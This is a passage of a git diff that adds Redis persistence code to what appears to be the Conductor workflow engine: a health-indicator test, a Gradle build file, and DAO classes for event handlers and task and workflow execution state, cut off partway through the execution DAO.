    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.redislock.config; + +import java.util.concurrent.TimeUnit; + +import org.junit.Test; +import org.junit.runner.RunWith; +import org.mockito.Mock; +import org.mockito.Mockito; +import org.redisson.api.RedissonClient; +import org.redisson.redisnode.RedissonClusterNodes; +import org.redisson.redisnode.RedissonSentinelMasterSlaveNodes; +import org.redisson.redisnode.RedissonSingleNode; +import org.springframework.boot.actuate.health.Health; +import org.springframework.test.context.junit4.SpringRunner; + +import static com.netflix.conductor.redislock.config.RedisLockProperties.REDIS_SERVER_TYPE.*; + +import static org.assertj.core.api.Assertions.assertThat; +import static org.mockito.ArgumentMatchers.any; +import static org.mockito.ArgumentMatchers.anyLong; +import static org.mockito.Mockito.when; + +@RunWith(SpringRunner.class) +public class RedisHealthIndicatorTest { + + @Mock private RedissonClient redissonClient; + + @Test + public void shouldReturnAsHealthWhenServerTypeIsSingle() { + // Given a Redisson client + var redisProperties = new RedisLockProperties(); + redisProperties.setServerType(SINGLE); + + // And its mocks + var redisNode = Mockito.mock(RedissonSingleNode.class); + when(redissonClient.getRedisNodes(any())).thenReturn(redisNode); + when(redisNode.pingAll(anyLong(), any(TimeUnit.class))).thenReturn(true); + + // When execute a health indicator + var actualHealth = new RedisHealthIndicator(redissonClient, redisProperties); + + // Then should return as health + assertThat(actualHealth.health()).isEqualTo(Health.up().build()); + } + + @Test + public void shouldReturnAsHealthWhenServerTypeIsCluster() { + // Given a Redisson client + var redisProperties = new RedisLockProperties(); + redisProperties.setServerType(CLUSTER); + + // And its mocks + var redisNode = Mockito.mock(RedissonClusterNodes.class); + when(redissonClient.getRedisNodes(any())).thenReturn(redisNode); + when(redisNode.pingAll(anyLong(), any(TimeUnit.class))).thenReturn(true); + + // When execute a health indicator + var actualHealth = new RedisHealthIndicator(redissonClient, redisProperties); + + // Then should return as health + assertThat(actualHealth.health()).isEqualTo(Health.up().build()); + } + + @Test + public void shouldReturnAsHealthWhenServerTypeIsSentinel() { + // Given a Redisson client + var redisProperties = new RedisLockProperties(); + redisProperties.setServerType(SENTINEL); + + // And its mocks + var redisNode = Mockito.mock(RedissonSentinelMasterSlaveNodes.class); + when(redissonClient.getRedisNodes(any())).thenReturn(redisNode); + when(redisNode.pingAll(anyLong(), any(TimeUnit.class))).thenReturn(true); + + // When execute a health indicator + var actualHealth = new RedisHealthIndicator(redissonClient, redisProperties); + + // Then should return as health + assertThat(actualHealth.health()).isEqualTo(Health.up().build()); + } + + @Test + public void shouldReturnAsUnhealthyWhenAnyServerIsDown() { + // Given a Redisson client + var redisProperties = new RedisLockProperties(); + redisProperties.setServerType(SINGLE); + + // And its mocks + var redisNode = Mockito.mock(RedissonSingleNode.class); + when(redissonClient.getRedisNodes(any())).thenReturn(redisNode); + when(redisNode.pingAll(anyLong(), any(TimeUnit.class))).thenReturn(false); + + // When execute a health indicator + var actualHealth = new RedisHealthIndicator(redissonClient, redisProperties); + + // Then should return as unhealthy + assertThat(actualHealth.health()).isEqualTo(Health.down().build()); + } +} diff --git a/redis-persistence/build.gradle b/redis-persistence/build.gradle new file mode 100644 index 0000000..0b60afa --- /dev/null +++ b/redis-persistence/build.gradle @@ -0,0 +1,32 @@ +/* + * Copyright 2023 Conductor authors + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ + +dependencies { + implementation project(':conductor-common') + implementation project(':conductor-core') + implementation project(':conductor-redis-configuration') + implementation project(':conductor-redis-api') + compileOnly 'org.springframework.boot:spring-boot-starter' + + implementation "io.orkes.queues:orkes-conductor-queues:${revOrkesQueues}" + implementation "redis.clients:jedis:${revJedis}" + implementation('com.thoughtworks.xstream:xstream:1.4.21') + implementation "org.apache.commons:commons-lang3:" + implementation "com.google.guava:guava:${revGuava}" + implementation "com.github.ben-manes.caffeine:caffeine" + + testImplementation "org.awaitility:awaitility:${revAwaitility}" + testImplementation "org.testcontainers:testcontainers:${revTestContainer}" + testImplementation project(':conductor-core').sourceSets.test.output + testImplementation project(':conductor-common').sourceSets.test.output +} diff --git a/redis-persistence/src/main/java/com/netflix/conductor/redis/config/RedisWorkflowMessageQueueConfiguration.java b/redis-persistence/src/main/java/com/netflix/conductor/redis/config/RedisWorkflowMessageQueueConfiguration.java new file mode 100644 index 0000000..bb83aca --- /dev/null +++ b/redis-persistence/src/main/java/com/netflix/conductor/redis/config/RedisWorkflowMessageQueueConfiguration.java @@ -0,0 +1,54 @@ +/* + * Copyright 2024 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.redis.config; + +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Conditional; +import org.springframework.context.annotation.Configuration; + +import com.netflix.conductor.core.config.ConductorProperties; +import com.netflix.conductor.core.config.WorkflowMessageQueueProperties; +import com.netflix.conductor.dao.WorkflowMessageQueueDAO; +import com.netflix.conductor.redis.dao.RedisWorkflowMessageQueueDAO; +import com.netflix.conductor.redis.jedis.JedisProxy; + +import com.fasterxml.jackson.databind.ObjectMapper; + +/** + * Registers the Redis-backed {@link WorkflowMessageQueueDAO} when both: + * + *

      + *
    1. The WMQ feature is enabled ({@code conductor.workflow-message-queue.enabled=true}) + *
    2. A Redis data store is configured ({@code conductor.db.type} is a Redis variant) + *
    + * + *

    When active, this bean takes precedence over the in-memory fallback registered by {@code + * WorkflowMessageQueueConfiguration} in the core module (via {@code @ConditionalOnMissingBean}). + */ +@Configuration(proxyBeanMethods = false) +@ConditionalOnProperty(name = "conductor.workflow-message-queue.enabled", havingValue = "true") +@Conditional(AnyRedisCondition.class) +public class RedisWorkflowMessageQueueConfiguration { + + @Bean + public WorkflowMessageQueueDAO redisWorkflowMessageQueueDAO( + JedisProxy jedisProxy, + ObjectMapper objectMapper, + ConductorProperties conductorProperties, + RedisProperties redisProperties, + WorkflowMessageQueueProperties wmqProperties) { + return new RedisWorkflowMessageQueueDAO( + jedisProxy, objectMapper, conductorProperties, redisProperties, wmqProperties); + } +} diff --git a/redis-persistence/src/main/java/com/netflix/conductor/redis/dao/BaseDynoDAO.java b/redis-persistence/src/main/java/com/netflix/conductor/redis/dao/BaseDynoDAO.java new file mode 100644 index 0000000..ca0ad7b --- /dev/null +++ b/redis-persistence/src/main/java/com/netflix/conductor/redis/dao/BaseDynoDAO.java @@ -0,0 +1,107 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.redis.dao; + +import java.io.IOException; + +import org.apache.commons.lang3.StringUtils; + +import com.netflix.conductor.core.config.ConductorProperties; +import com.netflix.conductor.metrics.Monitors; +import com.netflix.conductor.redis.config.RedisProperties; +import com.netflix.conductor.redis.jedis.JedisProxy; + +import com.fasterxml.jackson.core.JsonProcessingException; +import com.fasterxml.jackson.databind.ObjectMapper; + +public class BaseDynoDAO { + + private static final String NAMESPACE_SEP = "."; + private static final String DAO_NAME = "redis"; + private final RedisProperties properties; + private final ConductorProperties conductorProperties; + protected JedisProxy jedisProxy; + protected ObjectMapper objectMapper; + + protected BaseDynoDAO( + JedisProxy jedisProxy, + ObjectMapper objectMapper, + ConductorProperties conductorProperties, + RedisProperties properties) { + this.jedisProxy = jedisProxy; + this.objectMapper = objectMapper; + this.conductorProperties = conductorProperties; + this.properties = properties; + } + + protected String nsKey(String... nsValues) { + String rootNamespace = properties.getWorkflowNamespacePrefix(); + StringBuilder namespacedKey = new StringBuilder(); + if (StringUtils.isNotBlank(rootNamespace)) { + namespacedKey.append(rootNamespace).append(NAMESPACE_SEP); + } + String stack = conductorProperties.getStack(); + if (StringUtils.isNotBlank(stack)) { + namespacedKey.append(stack).append(NAMESPACE_SEP); + } + String domain = properties.getKeyspaceDomain(); + if (StringUtils.isNotBlank(domain)) { + namespacedKey.append(domain).append(NAMESPACE_SEP); + } + for (String nsValue : nsValues) { + namespacedKey.append(nsValue).append(NAMESPACE_SEP); + } + return StringUtils.removeEnd(namespacedKey.toString(), NAMESPACE_SEP); + } + + public JedisProxy getDyno() { + return jedisProxy; + } + + protected String toJson(Object value) { + try { + return objectMapper.writeValueAsString(value); + } catch (JsonProcessingException e) { + throw new RuntimeException(e); + } + } + + protected T readValue(String json, Class clazz) { + try { + return objectMapper.readValue(json, clazz); + } catch (IOException e) { + throw new RuntimeException(e); + } + } + + void recordRedisDaoRequests(String action) { + recordRedisDaoRequests(action, "n/a", "n/a"); + } + + void recordRedisDaoRequests(String action, String taskType, String workflowType) { + Monitors.recordDaoRequests(DAO_NAME, action, taskType, workflowType); + } + + void recordRedisDaoEventRequests(String action, String event) { + Monitors.recordDaoEventRequests(DAO_NAME, action, event); + } + + void recordRedisDaoPayloadSize(String action, int size, String taskType, String workflowType) { + Monitors.recordDaoPayloadSize( + DAO_NAME, + action, + StringUtils.defaultIfBlank(taskType, ""), + StringUtils.defaultIfBlank(workflowType, ""), + size); + } +} diff --git a/redis-persistence/src/main/java/com/netflix/conductor/redis/dao/RedisEventHandlerDAO.java b/redis-persistence/src/main/java/com/netflix/conductor/redis/dao/RedisEventHandlerDAO.java new file mode 100644 index 0000000..2942c18 --- /dev/null +++ b/redis-persistence/src/main/java/com/netflix/conductor/redis/dao/RedisEventHandlerDAO.java @@ -0,0 +1,153 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.redis.dao; + +import java.util.LinkedList; +import java.util.List; +import java.util.Map; +import java.util.Set; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.context.annotation.Conditional; +import org.springframework.stereotype.Component; + +import com.netflix.conductor.common.metadata.events.EventHandler; +import com.netflix.conductor.core.config.ConductorProperties; +import com.netflix.conductor.core.exception.ConflictException; +import com.netflix.conductor.core.exception.NotFoundException; +import com.netflix.conductor.core.exception.TransientException; +import com.netflix.conductor.dao.EventHandlerDAO; +import com.netflix.conductor.redis.config.AnyRedisCondition; +import com.netflix.conductor.redis.config.RedisProperties; +import com.netflix.conductor.redis.jedis.JedisProxy; + +import com.fasterxml.jackson.databind.ObjectMapper; +import com.google.common.base.Preconditions; + +@Component +@Conditional(AnyRedisCondition.class) +public class RedisEventHandlerDAO extends BaseDynoDAO implements EventHandlerDAO { + + private static final Logger LOGGER = LoggerFactory.getLogger(RedisEventHandlerDAO.class); + + private static final String EVENT_HANDLERS = "EVENT_HANDLERS"; + private static final String EVENT_HANDLERS_BY_EVENT = "EVENT_HANDLERS_BY_EVENT"; + + public RedisEventHandlerDAO( + JedisProxy jedisProxy, + ObjectMapper objectMapper, + ConductorProperties conductorProperties, + RedisProperties properties) { + super(jedisProxy, objectMapper, conductorProperties, properties); + } + + @Override + public void addEventHandler(EventHandler eventHandler) { + Preconditions.checkNotNull(eventHandler.getName(), "Missing Name"); + if (getEventHandler(eventHandler.getName()) != null) { + throw new ConflictException( + "EventHandler with name %s already exists!", eventHandler.getName()); + } + index(eventHandler); + jedisProxy.hset(nsKey(EVENT_HANDLERS), eventHandler.getName(), toJson(eventHandler)); + recordRedisDaoRequests("addEventHandler"); + } + + @Override + public void updateEventHandler(EventHandler eventHandler) { + Preconditions.checkNotNull(eventHandler.getName(), "Missing Name"); + EventHandler existing = getEventHandler(eventHandler.getName()); + if (existing == null) { + throw new NotFoundException( + "EventHandler with name %s not found!", eventHandler.getName()); + } + if (!existing.getEvent().equals(eventHandler.getEvent())) { + removeIndex(existing); + } + index(eventHandler); + jedisProxy.hset(nsKey(EVENT_HANDLERS), eventHandler.getName(), toJson(eventHandler)); + recordRedisDaoRequests("updateEventHandler"); + } + + @Override + public void removeEventHandler(String name) { + EventHandler existing = getEventHandler(name); + if (existing == null) { + throw new NotFoundException("EventHandler with name %s not found!", name); + } + jedisProxy.hdel(nsKey(EVENT_HANDLERS), name); + recordRedisDaoRequests("removeEventHandler"); + removeIndex(existing); + } + + @Override + public List getAllEventHandlers() { + Map all = jedisProxy.hgetAll(nsKey(EVENT_HANDLERS)); + List handlers = new LinkedList<>(); + all.forEach( + (key, json) -> { + EventHandler eventHandler = readValue(json, EventHandler.class); + handlers.add(eventHandler); + }); + recordRedisDaoRequests("getAllEventHandlers"); + return handlers; + } + + private void index(EventHandler eventHandler) { + String event = eventHandler.getEvent(); + String key = nsKey(EVENT_HANDLERS_BY_EVENT, event); + jedisProxy.sadd(key, eventHandler.getName()); + } + + private void removeIndex(EventHandler eventHandler) { + String event = eventHandler.getEvent(); + String key = nsKey(EVENT_HANDLERS_BY_EVENT, event); + jedisProxy.srem(key, eventHandler.getName()); + } + + @Override + public List getEventHandlersForEvent(String event, boolean activeOnly) { + String key = nsKey(EVENT_HANDLERS_BY_EVENT, event); + Set names = jedisProxy.smembers(key); + List handlers = new LinkedList<>(); + for (String name : names) { + try { + EventHandler eventHandler = getEventHandler(name); + recordRedisDaoEventRequests("getEventHandler", event); + if (eventHandler.getEvent().equals(event) + && (!activeOnly || eventHandler.isActive())) { + handlers.add(eventHandler); + } + } catch (NotFoundException nfe) { + LOGGER.info("No matching event handler found for event: {}", event); + throw nfe; + } + } + return handlers; + } + + private EventHandler getEventHandler(String name) { + EventHandler eventHandler = null; + String json; + try { + json = jedisProxy.hget(nsKey(EVENT_HANDLERS), name); + } catch (Exception e) { + throw new TransientException("Unable to get event handler named " + name, e); + } + if (json != null) { + eventHandler = readValue(json, EventHandler.class); + } + return eventHandler; + } +} diff --git a/redis-persistence/src/main/java/com/netflix/conductor/redis/dao/RedisExecutionDAO.java b/redis-persistence/src/main/java/com/netflix/conductor/redis/dao/RedisExecutionDAO.java new file mode 100644 index 0000000..4946f93 --- /dev/null +++ b/redis-persistence/src/main/java/com/netflix/conductor/redis/dao/RedisExecutionDAO.java @@ -0,0 +1,783 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.redis.dao; + +import java.text.SimpleDateFormat; +import java.util.*; +import java.util.stream.Collectors; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.context.annotation.Conditional; +import org.springframework.stereotype.Component; + +import com.netflix.conductor.common.metadata.events.EventExecution; +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.core.config.ConductorProperties; +import com.netflix.conductor.core.exception.TransientException; +import com.netflix.conductor.core.utils.QueueUtils; +import com.netflix.conductor.dao.ConcurrentExecutionLimitDAO; +import com.netflix.conductor.dao.ExecutionDAO; +import com.netflix.conductor.dao.QueueDAO; +import com.netflix.conductor.metrics.Monitors; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; +import com.netflix.conductor.redis.config.AnyRedisCondition; +import com.netflix.conductor.redis.config.RedisProperties; +import com.netflix.conductor.redis.jedis.JedisProxy; + +import com.fasterxml.jackson.databind.ObjectMapper; +import com.google.common.annotations.VisibleForTesting; +import com.google.common.base.Preconditions; + +@Component +@Conditional(AnyRedisCondition.class) +public class RedisExecutionDAO extends BaseDynoDAO + implements ExecutionDAO, ConcurrentExecutionLimitDAO { + + public static final Logger LOGGER = LoggerFactory.getLogger(RedisExecutionDAO.class); + + // Keys Families + private static final String TASK_LIMIT_BUCKET = "TASK_LIMIT_BUCKET"; + private static final String IN_PROGRESS_TASKS = "IN_PROGRESS_TASKS"; + private static final String TASKS_IN_PROGRESS_STATUS = + "TASKS_IN_PROGRESS_STATUS"; // Tasks which are in IN_PROGRESS status. + private static final String WORKFLOW_TO_TASKS = "WORKFLOW_TO_TASKS"; + private static final String SCHEDULED_TASKS = "SCHEDULED_TASKS"; + private static final String TASK = "TASK"; + private static final String WORKFLOW = "WORKFLOW"; + private static final String PENDING_WORKFLOWS = "PENDING_WORKFLOWS"; + private static final String WORKFLOW_DEF_TO_WORKFLOWS = "WORKFLOW_DEF_TO_WORKFLOWS"; + private static final String CORR_ID_TO_WORKFLOWS = "CORR_ID_TO_WORKFLOWS"; + private static final String EVENT_EXECUTION = "EVENT_EXECUTION"; + private final int ttlEventExecutionSeconds; + private final QueueDAO queueDAO; + + public RedisExecutionDAO( + JedisProxy jedisProxy, + ObjectMapper objectMapper, + ConductorProperties conductorProperties, + RedisProperties properties, + QueueDAO queueDAO) { + super(jedisProxy, objectMapper, conductorProperties, properties); + + ttlEventExecutionSeconds = (int) properties.getEventExecutionPersistenceTTL().getSeconds(); + this.queueDAO = queueDAO; + } + + private static String dateStr(Long timeInMs) { + Date date = new Date(timeInMs); + return dateStr(date); + } + + private static String dateStr(Date date) { + SimpleDateFormat format = new SimpleDateFormat("yyyyMMdd"); + return format.format(date); + } + + private static List dateStrBetweenDates(Long startdatems, Long enddatems) { + List dates = new ArrayList<>(); + Calendar calendar = new GregorianCalendar(); + Date startdate = new Date(startdatems); + Date enddate = new Date(enddatems); + calendar.setTime(startdate); + while (calendar.getTime().before(enddate) || calendar.getTime().equals(enddate)) { + Date result = calendar.getTime(); + dates.add(dateStr(result)); + calendar.add(Calendar.DATE, 1); + } + return dates; + } + + @Override + public List getPendingTasksByWorkflow(String taskName, String workflowId) { + List tasks = new LinkedList<>(); + + List pendingTasks = getPendingTasksForTaskType(taskName); + pendingTasks.forEach( + pendingTask -> { + if (pendingTask.getWorkflowInstanceId().equals(workflowId)) { + tasks.add(pendingTask); + } + }); + + return tasks; + } + + @Override + public List getTasks(String taskDefName, String startKey, int count) { + List tasks = new LinkedList<>(); + + List pendingTasks = getPendingTasksForTaskType(taskDefName); + boolean startKeyFound = startKey == null; + int foundcount = 0; + for (TaskModel pendingTask : pendingTasks) { + if (!startKeyFound) { + if (pendingTask.getTaskId().equals(startKey)) { + startKeyFound = true; + if (startKey != null) { + continue; + } + } + } + if (startKeyFound && foundcount < count) { + tasks.add(pendingTask); + foundcount++; + } + } + return tasks; + } + + @Override + public List createTasks(List tasks) { + + List tasksCreated = new LinkedList<>(); + + for (TaskModel task : tasks) { + validate(task); + + recordRedisDaoRequests("createTask", task.getTaskType(), task.getWorkflowType()); + + String taskKey = task.getReferenceTaskName() + "" + task.getRetryCount(); + Long added = + jedisProxy.hset( + nsKey(SCHEDULED_TASKS, task.getWorkflowInstanceId()), + taskKey, + task.getTaskId()); + if (added < 1) { + LOGGER.debug( + "Task already scheduled, skipping the run " + + task.getTaskId() + + ", ref=" + + task.getReferenceTaskName() + + ", key=" + + taskKey); + continue; + } + + if (task.getStatus() != null + && !task.getStatus().isTerminal() + && task.getScheduledTime() == 0) { + task.setScheduledTime(System.currentTimeMillis()); + } + + correlateTaskToWorkflowInDS(task.getTaskId(), task.getWorkflowInstanceId()); + LOGGER.debug( + "Scheduled task added to WORKFLOW_TO_TASKS workflowId: {}, taskId: {}, taskType: {} during createTasks", + task.getWorkflowInstanceId(), + task.getTaskId(), + task.getTaskType()); + + String inProgressTaskKey = nsKey(IN_PROGRESS_TASKS, task.getTaskDefName()); + jedisProxy.sadd(inProgressTaskKey, task.getTaskId()); + LOGGER.debug( + "Scheduled task added to IN_PROGRESS_TASKS with inProgressTaskKey: {}, workflowId: {}, taskId: {}, taskType: {} during createTasks", + inProgressTaskKey, + task.getWorkflowInstanceId(), + task.getTaskId(), + task.getTaskType()); + + updateTask(task); + tasksCreated.add(task); + } + + return tasksCreated; + } + + @Override + public void updateTask(TaskModel task) { + Optional taskDefinition = task.getTaskDefinition(); + + if (taskDefinition.isPresent() && taskDefinition.get().concurrencyLimit() > 0) { + + if (task.getStatus() != null && task.getStatus().equals(TaskModel.Status.IN_PROGRESS)) { + jedisProxy.sadd( + nsKey(TASKS_IN_PROGRESS_STATUS, task.getTaskDefName()), task.getTaskId()); + LOGGER.debug( + "Workflow Task added to TASKS_IN_PROGRESS_STATUS with tasksInProgressKey: {}, workflowId: {}, taskId: {}, taskType: {}, taskStatus: {} during updateTask", + nsKey(TASKS_IN_PROGRESS_STATUS, task.getTaskDefName(), task.getTaskId()), + task.getWorkflowInstanceId(), + task.getTaskId(), + task.getTaskType(), + task.getStatus().name()); + } else { + jedisProxy.srem( + nsKey(TASKS_IN_PROGRESS_STATUS, task.getTaskDefName()), task.getTaskId()); + LOGGER.debug( + "Workflow Task removed from TASKS_IN_PROGRESS_STATUS with tasksInProgressKey: {}, workflowId: {}, taskId: {}, taskType: {}, taskStatus: {} during updateTask", + nsKey(TASKS_IN_PROGRESS_STATUS, task.getTaskDefName(), task.getTaskId()), + task.getWorkflowInstanceId(), + task.getTaskId(), + task.getTaskType(), + task.getStatus().name()); + String key = nsKey(TASK_LIMIT_BUCKET, task.getTaskDefName()); + jedisProxy.zrem(key, task.getTaskId()); + LOGGER.debug( + "Workflow Task removed from TASK_LIMIT_BUCKET with taskLimitBucketKey: {}, workflowId: {}, taskId: {}, taskType: {}, taskStatus: {} during updateTask", + key, + task.getWorkflowInstanceId(), + task.getTaskId(), + task.getTaskType(), + task.getStatus().name()); + if (task.getStatus() != null && task.getStatus().isTerminal()) { + String queueName = QueueUtils.getQueueName(task); + List nextIds = queueDAO.peekFirstIds(queueName, 1); + if (nextIds != null && !nextIds.isEmpty()) { + LOGGER.debug( + "Concurrency slot freed for {}, releasing postponed task {}", + task.getTaskDefName(), + nextIds.get(0)); + queueDAO.resetOffsetTime(queueName, nextIds.get(0)); + } + } + } + } + + String payload = toJson(task); + recordRedisDaoPayloadSize( + "updateTask", + payload.length(), + taskDefinition.map(TaskDef::getName).orElse("n/a"), + task.getWorkflowType()); + + recordRedisDaoRequests("updateTask", task.getTaskType(), task.getWorkflowType()); + jedisProxy.set(nsKey(TASK, task.getTaskId()), payload); + LOGGER.debug( + "Workflow task payload saved to TASK with taskKey: {}, workflowId: {}, taskId: {}, taskType: {} during updateTask", + nsKey(TASK, task.getTaskId()), + task.getWorkflowInstanceId(), + task.getTaskId(), + task.getTaskType()); + if (task.getStatus() != null && task.getStatus().isTerminal()) { + jedisProxy.srem(nsKey(IN_PROGRESS_TASKS, task.getTaskDefName()), task.getTaskId()); + LOGGER.debug( + "Workflow Task removed from TASKS_IN_PROGRESS_STATUS with tasksInProgressKey: {}, workflowId: {}, taskId: {}, taskType: {}, taskStatus: {} during updateTask", + nsKey(IN_PROGRESS_TASKS, task.getTaskDefName()), + task.getWorkflowInstanceId(), + task.getTaskId(), + task.getTaskType(), + task.getStatus().name()); + } + + Set taskIds = + jedisProxy.smembers(nsKey(WORKFLOW_TO_TASKS, task.getWorkflowInstanceId())); + if (!taskIds.contains(task.getTaskId())) { + correlateTaskToWorkflowInDS(task.getTaskId(), task.getWorkflowInstanceId()); + } + } + + @Override + public boolean exceedsLimit(TaskModel task) { + Optional taskDefinition = task.getTaskDefinition(); + if (taskDefinition.isEmpty()) { + return false; + } + int limit = taskDefinition.get().concurrencyLimit(); + if (limit <= 0) { + return false; + } + + long current = getInProgressTaskCount(task.getTaskDefName()); + if (current >= limit) { + LOGGER.info( + "Task execution count limited. task - {}:{}, limit: {}, current: {}", + task.getTaskId(), + task.getTaskDefName(), + limit, + current); + Monitors.recordTaskConcurrentExecutionLimited(task.getTaskDefName(), limit); + return true; + } + + String rateLimitKey = nsKey(TASK_LIMIT_BUCKET, task.getTaskDefName()); + double score = System.currentTimeMillis(); + String taskId = task.getTaskId(); + jedisProxy.zaddnx(rateLimitKey, score, taskId); + recordRedisDaoRequests("checkTaskRateLimiting", task.getTaskType(), task.getWorkflowType()); + + List ids = jedisProxy.zrangeByScore(rateLimitKey, 0, score + 1, Integer.MAX_VALUE); + boolean rateLimited = !ids.contains(taskId); + if (rateLimited) { + LOGGER.info( + "Task execution count limited. task - {}:{}, limit: {}, current: {}", + task.getTaskId(), + task.getTaskDefName(), + limit, + current); + String inProgressKey = nsKey(TASKS_IN_PROGRESS_STATUS, task.getTaskDefName()); + // Cleanup any items that are still present in the rate limit bucket but not in progress + // anymore! + ids.stream() + .filter(id -> !jedisProxy.sismember(inProgressKey, id)) + .forEach(id2 -> jedisProxy.zrem(rateLimitKey, id2)); + Monitors.recordTaskRateLimited(task.getTaskDefName(), limit); + } + return rateLimited; + } + + private void removeTaskMappings(TaskModel task) { + String taskKey = task.getReferenceTaskName() + "" + task.getRetryCount(); + + jedisProxy.hdel(nsKey(SCHEDULED_TASKS, task.getWorkflowInstanceId()), taskKey); + jedisProxy.srem(nsKey(IN_PROGRESS_TASKS, task.getTaskDefName()), task.getTaskId()); + jedisProxy.srem(nsKey(WORKFLOW_TO_TASKS, task.getWorkflowInstanceId()), task.getTaskId()); + jedisProxy.srem(nsKey(TASKS_IN_PROGRESS_STATUS, task.getTaskDefName()), task.getTaskId()); + jedisProxy.zrem(nsKey(TASK_LIMIT_BUCKET, task.getTaskDefName()), task.getTaskId()); + } + + private void removeTaskMappingsWithExpiry(TaskModel task) { + String taskKey = task.getReferenceTaskName() + "" + task.getRetryCount(); + + jedisProxy.hdel(nsKey(SCHEDULED_TASKS, task.getWorkflowInstanceId()), taskKey); + jedisProxy.srem(nsKey(IN_PROGRESS_TASKS, task.getTaskDefName()), task.getTaskId()); + jedisProxy.srem(nsKey(TASKS_IN_PROGRESS_STATUS, task.getTaskDefName()), task.getTaskId()); + jedisProxy.zrem(nsKey(TASK_LIMIT_BUCKET, task.getTaskDefName()), task.getTaskId()); + } + + @Override + public boolean removeTask(String taskId) { + TaskModel task = getTask(taskId); + if (task == null) { + LOGGER.warn("No such task found by id {}", taskId); + return false; + } + removeTaskMappings(task); + + jedisProxy.del(nsKey(TASK, task.getTaskId())); + recordRedisDaoRequests("removeTask", task.getTaskType(), task.getWorkflowType()); + return true; + } + + private boolean removeTaskWithExpiry(String taskId, int ttlSeconds) { + TaskModel task = getTask(taskId); + if (task == null) { + LOGGER.warn("No such task found by id {}", taskId); + return false; + } + removeTaskMappingsWithExpiry(task); + + jedisProxy.expire(nsKey(TASK, task.getTaskId()), ttlSeconds); + recordRedisDaoRequests("removeTask", task.getTaskType(), task.getWorkflowType()); + return true; + } + + @Override + public TaskModel getTask(String taskId) { + Preconditions.checkNotNull(taskId, "taskId cannot be null"); + return Optional.ofNullable(jedisProxy.get(nsKey(TASK, taskId))) + .map( + json -> { + TaskModel task = readValue(json, TaskModel.class); + recordRedisDaoRequests( + "getTask", task.getTaskType(), task.getWorkflowType()); + recordRedisDaoPayloadSize( + "getTask", + toJson(task).length(), + task.getTaskType(), + task.getWorkflowType()); + return task; + }) + .orElse(null); + } + + @Override + public List getTasks(List taskIds) { + return taskIds.stream() + .map(taskId -> nsKey(TASK, taskId)) + .map(jedisProxy::get) + .filter(Objects::nonNull) + .map( + jsonString -> { + TaskModel task = readValue(jsonString, TaskModel.class); + recordRedisDaoRequests( + "getTask", task.getTaskType(), task.getWorkflowType()); + recordRedisDaoPayloadSize( + "getTask", + jsonString.length(), + task.getTaskType(), + task.getWorkflowType()); + return task; + }) + .collect(Collectors.toList()); + } + + @Override + public List getTasksForWorkflow(String workflowId) { + Preconditions.checkNotNull(workflowId, "workflowId cannot be null"); + Set taskIds = jedisProxy.smembers(nsKey(WORKFLOW_TO_TASKS, workflowId)); + recordRedisDaoRequests("getTasksForWorkflow"); + return getTasks(new ArrayList<>(taskIds)); + } + + @Override + public List getPendingTasksForTaskType(String taskName) { + Preconditions.checkNotNull(taskName, "task name cannot be null"); + Set taskIds = jedisProxy.smembers(nsKey(IN_PROGRESS_TASKS, taskName)); + recordRedisDaoRequests("getPendingTasksForTaskType"); + return getTasks(new ArrayList<>(taskIds)); + } + + @Override + public String createWorkflow(WorkflowModel workflow) { + return insertOrUpdateWorkflow(workflow, false); + } + + @Override + public String updateWorkflow(WorkflowModel workflow) { + return insertOrUpdateWorkflow(workflow, true); + } + + @Override + public boolean removeWorkflow(String workflowId) { + WorkflowModel workflow = getWorkflow(workflowId, true); + if (workflow != null) { + recordRedisDaoRequests("removeWorkflow"); + + // Remove from lists + String key = + nsKey( + WORKFLOW_DEF_TO_WORKFLOWS, + workflow.getWorkflowName(), 